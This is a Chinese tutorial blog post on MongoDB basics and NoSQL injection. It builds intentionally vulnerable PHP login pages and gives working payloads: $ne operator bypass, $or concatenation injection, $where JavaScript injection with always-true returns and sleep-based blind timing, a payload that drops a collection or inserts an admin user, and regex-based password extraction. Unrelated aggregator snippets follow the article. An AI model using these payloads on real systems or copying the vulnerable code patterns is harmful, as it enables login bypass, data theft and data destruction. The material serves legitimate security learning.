MONGODB 的基础 NOSQL注入基础

首先来学习一下nosql

这里安装就不进行介绍 只记录一下让自己了解mongodb

ubuntu 安装后 进入 /usr/bin  ./mongodb即可进入然后可通过 进入的url链接数据库

基本操作

show dbshow dbsshow tablesuse  数据库名插入数据db.admin.insert({json格式的数据})例如 db.admin.insert({'id':1,'name':admin,'passwd':admin123})或者通过定义的方法canshu={'id':1,'name':admin,'passwd':admin123}db.admin.insert(canshu)删除db.admin.remove()更新db.admin.update({'name':'admin'},{$set{'id':1}})前面是条件 后面是更新的内容

然后我们现在需要来查看 nosql的符号

条件操作符

$gt : >
$lt : <
$gte: >=
$lte: <=
$ne : !=、<>
$in : in
$nin: not in
$all: all 
$or:or
$not: 反匹配(1.3.3及以上版本)
模糊查询用正则式:db.customer.find({'name': {'$regex':'.*s.*'} })
/**
* : 范围查询 { "age" : { "$gte" : 2 , "$lte" : 21}}
* : $ne { "age" : { "$ne" : 23}}
* : $lt { "age" : { "$lt" : 23}}
*/解释$gt	大于
$lte	小于等于
$in	包含
$nin	不包含
$lt	小于
$gte	大于等于
$ne	不等于
$eq	等于
$and	与
$nor	$nor在NOR一个或多个查询表达式的数组上执行逻辑运算,并选择 对该数组中所有查询表达式都失败的文档
$not	反匹配(1.3.3及以上版本),字段值不匹配表达式或者字段值不存在
$or

 知道这五个其实就OK了

SQL注入

因为这里传入的都是json格式的文件

所以首先我们来搭建一个查询网站

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb"); //修改url
$username = $_POST['username'];  //修改集合字段
$password = $_POST['password'];$query = new MongoDB\Driver\Query(['name' => $username, 'password' => $password]);
$result = $manager->executeQuery('test.admin', $query)->toArray();$count = count($result);
$queryString = json_encode($result);
echo '查询结果: ' . $queryString . '<br>';if ($count > 0) {foreach ($result as $user) {$user = (array)$user;echo $user;echo '====Login Success====<br>';echo 'username: ' . $user['name'] . '<br>';  //修改集合字段echo 'password: ' . $user['password'] . '<br>';}
} else {echo 'Login Failed';
}

 测试后是ok的 那么这里我们如何注入呢

我们首先要知道传入的语句是什么呢

'name' => $username, 'password' => $password

 其实是这个

我们构思一下 如果我们传入一个

永真注入

username[$ne]=1&password[$ne]=1[$ne] 为 != 那么这里传入的语句是什么呢'name' => array('$ne'=> 1), 'password' => array('$ne'=>1)mongodb 的查询语句 就变为了 db.admin.find({'username':{$ne:1}, 'password':{$ne:1}})只要username和password !=0 就都查询出来  

 

这里其实是PHP特性导致的

value = 1 传入的参数就是 1value[$ne]传入的参数就是 array([$ne]=>1)

 联合注入  (过时)

这里其实也是设计者的错误

我们将 查询语句

name => $username,password => $passwd修改为"{ username: '" + $username + "', password: '" + $password + "' }"变成拼接模式

 当我们正常输入的时候

{username : admin,password: admin123}查询语句就是db.admin.find({username : 'admin',password: 'admin123'})但是我们如果不正常查询呢我们传入
username = admin', $or: [ {}, {'a': 'a
password = ' }]最后获取到的数据是什么呢db.admin.find({ name: 'admin', $or: [ {}, {'a':'a', password: '' }]})

实现了查询注入

但是这个方法现在可能都无法使用 ,现在的开发都必须要传入一个数组或者Qurey对象

JavaScript注入

mongodb支持JavaScript的脚本辅助

这里要提及mongodb的关键词 $where

$where关键词

在MONGODB中 支持使用 $where关键词进行javascrip执行

db.admin.find({ $where: "function(){return(this.name == 'admin')}" })

这是一个简单的利用 执行函数返回用户名的数据

 但是在例如直接传参的时候 就会造成注入


db.admin.find({ $where: "function(){return(this.name == $userData" })db.admin.find({ $where: "function(){return(this.name =='a'; sleep(5000))}" })

 这里就可以查询到不该查询的内容 和 盲注

我们也测试一下

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb");
$username = $_POST['username'];
$password = $_POST['password'];
$function = "function() {var name = '".$username."';var password = '".$password."';if(name == 'admin' && password == 'admin123'){return true;}else{return false;}
}";$query = new MongoDB\Driver\Query(['$where' => $function]);
$result = $manager->executeQuery('test.admin', $query)->toArray();
$count = count($result);
if ($count > 0) {foreach ($result as $user) {$user = (array)$user;echo '====Login Success====<br>';echo 'username: '.$user['name']."<br>";echo 'password: '.$user['password']."<br>";}
} else {echo 'Login Failed';
}
?>

 我们正常传输入

java脚本是

function() {var name = 'admin';var password = 'admin123';if(name == 'admin' && password == 'admin123'){return true;}else{return false;}
}然后进入数据库db.admin.find({$where:function() {var name = 'admin';var password = 'admin123';if(name == 'admin' && password == 'admin123'){return true;}else{return false;}}
})

那么这里我们使用注入呢

我们构造万能钥匙

username=1&password=1';return true;var a='1
username=1&password=1';return true//
进入javascrip为$function = "function() {var name = '1';var password = '1';return true;var a='1';if(name == 'admin' && password == 'admin123'){return true;}else{return false;}
}";美化后
$function = "function() {var name = '1';var password = '1';return true;var a='1';if(name == 'admin' && password == 'admin123'){return true;}else{return false;}
}";这里可以发现 直接return ture 所以绕过了下面的判断

 

comment方法造成注入

这里的内容其实是被php官方制止的 因为很容易造成漏洞

但是如果工作量很大 难免有人选择

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb");
$username = $_POST['username'];$filter = ['name' => $username];
$query = new MongoDB\Driver\Query($filter);$result = $manager->executeQuery('test.admin', $query)->toArray();
$count = count($result);if ($count > 0) {foreach ($result as $user) {$user = (array)$user;echo '====Login Success====<br>';echo 'username: ' . $user['name'] . '<br>';echo 'password: ' . $user['password'] . '<br>';}
} else {echo 'Login Failed';
}
?>

 这个时候 其实我们就已经是shell的权限了 我们可以开始操作数据库

但是本地是最新的mongodb

所以出现报错


Fatal error: Uncaught MongoDB\Driver\Exception\CommandException: no such command: 'eval' in C:\Users\Administrator\Desktop\CTFcode\dir.php:9 Stack trace: #0 C:\Users\Administrator\Desktop\CTFcode\dir.php(9): MongoDB\Driver\Manager->executeCommand('admin', Object(MongoDB\Driver\Command)) #1 {main} thrown in C:\Users\Administrator\Desktop\CTFcode\dir.php on line 9

但是我们看payload其实就ok了

username=1'});db.users.drop();db.user.find({'username':'1
username=1'});db.users.insert({"username":"admin","password":123456"});db.users.find({'username':'1

 我们发现其实就是通过闭合 然后就可以执行命令了

布尔注入

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb");
$username = $_POST['username'];
$password = $_POST['password'];$query = new MongoDB\Driver\Query(['name' => $username,'password' => $password
]);$result = $manager->executeQuery('test.admin', $query)->toArray();
$count = count($result);if ($count > 0) {foreach ($result as $user) {$user = (array)$user;echo '==== Login Success ====<br>';echo 'Username: ' . $user['name'] . '<br>';echo 'Password: ' . $user['password'] . '<br>';}
} else {echo 'Login Failed';
}
?>

首先我们在已知账号的情况下可以

password[$regex]=.{6}

 通过正则匹配来获取

具体传入内容是

{'name':'admin','password':array([$regex]=>'.{6}')}这里是匹配任意6个字符进入数据库后是 db.admin.find({'name':'admin','password':{$regex:'.{6}'}})

 

 发现实现了访问

发现超过了就没有回显了 所以这里可以拿来测试密码长度

我们要获取数字 其实就可以通过正则表达式来

db.admin.find({'name':'admin','password':{$regex:'^a'}})db.admin.find({'name':'admin','password':{$regex:'^ad'}})

 

这里 基本的nosql注入 就实现了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/158597.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

低代码!小白用10分钟也能利用flowise构建AIGC| 业务问答 | 文本识别 | 网络爬虫

一、与知识对话 二、采集网页问答 三、部署安装flowise flowise工程地址&#xff1a;https://github.com/FlowiseAI/Flowise flowise 官方文档&#xff1a;https://docs.flowiseai.com/ 这里采用docker安装&#xff1a; step1&#xff1a;克隆工程代码 &#xff08;如果网络…

leetcode:环形链表

题目描述 题目链接&#xff1a;141. 环形链表 - 力扣&#xff08;LeetCode&#xff09; 题目分析 我们先了解一个知识&#xff1a;循环链表 尾结点不指向NULL&#xff0c;指向头就是循环链表 那么带环链表就意味着尾结点的next可以指向链表的任意一个结点&#xff0c;甚至可…

「Verilog学习笔记」根据状态转移表实现时序电路

专栏前言 本专栏的内容主要是记录本人学习Verilog过程中的一些知识点&#xff0c;刷题网站用的是牛客网 分析 可得逻辑表达式为 可得逻辑表达式为 timescale 1ns/1nsmodule seq_circuit(input A ,input clk ,input rst_n,outpu…

阿里云高校计划学生和教师完成认证领取优惠权益

阿里云高校计划学生和教师均可参与&#xff0c;完成学生认证和教师验证后学生可以免费领取300元无门槛代金券和3折优惠折扣&#xff0c;适用于云服务器等全量公共云产品&#xff0c;订单原价金额封顶5000元/年&#xff0c;阿里云百科aliyunbaike.com分享阿里云高校计划入口及学…

error: ‘ui/ui_uimainwindow.h‘ file not found

问题&#xff1a;在刚好创建的Qt Designer Form Class类中&#xff0c;发现类的.cpp文件中有ui头文件未找到 原因&#xff1a;.ui文件没有被识别到&#xff0c;或者.ui文件不存在&#xff0c;导致ui头文件未创建而报错。 解决&#xff1a;若修改了.ui文件&#xff0c;随手ctrls…

python网络通信之基础知识填坑

文章目录 版权声明网络通信要素IP地址ifconfig和ping命令ifconfig (Interface Configuration)ping 端口和端口号的介绍端口号的分类socket介绍TCPTCP简介TCP的特点 UDPUDP简介UDP特点 版权声明 本博客的内容基于我个人学习黑马程序员课程的学习笔记整理而成。我特此声明&#…

npm install安装报错

npm WARN notsup Not compatible with your version of node/npm: v-click-outside-x3.7.1 npm ERR! Error while executing: npm ERR! /usr/bin/git ls-remote -h -t ssh://gitgithub.com/itargaryen/simple-hotkeys.git 解决办法1&#xff1a;&#xff08;没有解决我的问题…

2023.11.22使用flask做一个简单的图片浏览器

2023.11.22使用flask做一个简单的图片浏览器 功能: 实现图片浏览(翻页)功能 程序页面: 程序架构: 注意:在flask中常会使用src=“{{ url_for(‘static’, filename=‘images/’ + image) }}”,这段代码是在Flask框架中用于获取静态文件的URL的。在Flask中,静态文件…

CSS实现三角形

CSS实现三角形 前言第一种:bordertransparent第二种borderrgb使用unicode字符 前言 本文讲解三种实现三角形的方式&#xff0c;并且配有图文以及代码解说。那么好&#xff0c;本文正式开始。 第一种:bordertransparent border是边框&#xff0c;而transparent是透明的颜色&a…

【HarmonyOS】获取备案需要的公钥和MD5签名问题

【关键字】 HarmonyOS、公钥、MD5签名 【问题描述】 有cp反馈Harmony App如何获取备案需要的公钥和MD5签名。 【解决方案】 1、获取备案需要的公钥&#xff1a; 1&#xff09;用记事本打开签名对应.cer文件 2&#xff09;里面的内容粘贴到一个可以查看证书的网站上面&…

maven pom引入依赖不报红,但是项目Dependencies中没有引入jar包

前言 小编我将用CSDN记录软件开发求学之路上亲身所得与所学的心得与知识&#xff0c;有兴趣的小伙伴可以关注一下&#xff01; 也许一个人独行&#xff0c;可以走的很快&#xff0c;但是一群人结伴而行&#xff0c;才能走的更远&#xff01;让我们在成长的道路上互相学习&…

OCR是什么意思,有哪些好用的OCR识别软件?

1. 什么是OCR&#xff1f; OCR&#xff08;Optical Character Recognition&#xff09;是一种光学字符识别技术&#xff0c;它可以将印刷体文字转换为可编辑的电子文本。OCR技术通过扫描和分析图像中的文字&#xff0c;并将其转化为计算机可识别的文本格式&#xff0c;从而…

mysql开启慢查询日志

直接看原文: 原文链接:MySQL慢查询日志开启、配置、分析等操作_Code0cean的博客-CSDN博客 ------------------------------------------------------------------------------------------------------------------------------- 命令总结: 查看慢查询日志文件 tail -100f …

微博头条文章开放接口报错 auth by Null spi

接口文档地址 https://open.weibo.com/wiki/Toutiao/api 接口说明 https://api.weibo.com/proxy/article/publish.json 请求方式 POST 请求参数 参数名称类型是否必需描述titlestring是文章标题&#xff0c;限定32个中英文字符以内contentstring是正文内容&#xff0c;限制9…

西米支付:游戏支付的概念,发展,什么是游戏支付接口?

游戏支付平台是指专门用于游戏交易的在线支付系统。它为玩家提供了方便快捷的支付服务&#xff0c;让他们能够在游戏中购买虚拟物品、充值游戏币等。 游戏支付平台通过安全的支付通道和多种支付方式&#xff0c;保障了交易的安全性和便捷性。 同时&#xff0c;它也为游戏开发…

精彩预告 | OpenHarmony即将亮相MTSC 2023

MTSC 2023 第12届中国互联网测试开发大会&#xff08;深圳站&#xff09;即将于2023年11月25日&#xff0c;在深圳登喜路国际大酒店举办&#xff0c;大会将以“1个主会场4个平行分会场”的形式呈现&#xff0c;聚集一众顶尖技术专家和行业领袖&#xff0c;围绕如今备受关注的行…

【Redis】渐进式遍历数据库管理

文章目录 渐进式遍历scan 数据库管理切换数据库清除数据库 获取当前数据库key的个数 渐进式遍历 Redis使⽤scan命令进⾏渐进式遍历键&#xff0c;进⽽解决直接使⽤keys获取键时能出现的阻塞问题。每次scan命令的时间复杂度是O(1)&#xff0c;但是要完整地完成所有键的遍历&…

Android手机如何用Charles抓包HTTPS接口

对Charles的安装和使用&#xff0c;这里就不重复介绍了&#xff0c;之前有介绍Charles工具。 本文重点介绍在Android手机上如何配置抓包环境 1.获取Charles配置 去Help -> SSL Proxying -> Install Charles Root Certificate on a Mobile Device or Remote Browser 查…

Linux学习第44天:Linux 多点电容触摸屏实验(二):难忘记第一次牵你手的温存

Linux版本号4.1.15 芯片I.MX6ULL 大叔学Linux 品人间百味 思文短情长 本章的思维导图内容如下&#xff1a; 二、硬件原理图分析 三、实验程序编写 1、修改设备树 1&#xff09;、添加FT5426所使用的IO 一个复位 IO、一个中断 IO、…

华为认证 | HCIE考证流程详解!

HCIE&#xff08;Huawei Certified ICT Expert&#xff0c;华为认证ICT专家&#xff09;是华为认证体系中最高级别的ICT技术认证&#xff0c;旨在打造高含金量的专家级认证&#xff0c;为技术融合背景下的ICT产业提供新的能力标准&#xff0c;以实现华为认证引领ICT行业技术认证…